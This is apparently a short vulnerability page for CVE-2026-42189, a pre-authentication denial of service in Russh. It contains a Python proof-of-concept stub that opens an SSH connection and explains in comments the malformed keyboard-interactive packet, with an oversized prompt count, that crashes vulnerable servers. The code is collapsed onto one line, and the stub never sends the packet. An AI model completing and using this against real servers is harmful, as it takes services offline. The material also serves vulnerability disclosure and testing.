CVE-2026-42189 Russh键盘交互认证拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-42189 (Russh Pre-auth DoS) # This script demonstrates the concept of sending a malformed packet # during the keyboard-interactive authentication phase. import socket import sys def send_exploit(target_ip, target_port): print(f"[*] Connecting to {target_ip}:{target_port}") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive SSH Banner banner = s.recv(1024) print(f"[+] Server Banner: {banner.decode().strip()}") # Send Client Banner s.send(b"SSH-2.0-PoC_Client\r\n") # Note: A full exploitation requires completing the SSH Key Exchange (KEX) # to establish an encrypted channel. Once encrypted, the attacker sends # a malformed SSH_MSG_USERAUTH_INFO_RESPONSE packet. # # Conceptual Malformed Packet Structure (post-KEX): # Byte Message Code: 60 (SSH_MSG_USERAUTH_INFO_REQUEST) # or 61 (SSH_MSG_USERAUTH_INFO_RESPONSE) # String Name (empty or malformed length) # String Instruction (empty or malformed length) # String Language Tag (empty) # Uint32 Num-prompts (malformed, e.g., very large integer) # # Sending this malformed structure triggers the panic in Russh < 0.60.1. # This script stops at the connection phase as a PoC stub. print("[*] Exploit packet would be sent here after Key Exchange.") print("[*] Server should crash if vulnerable.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <IP> <PORT>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))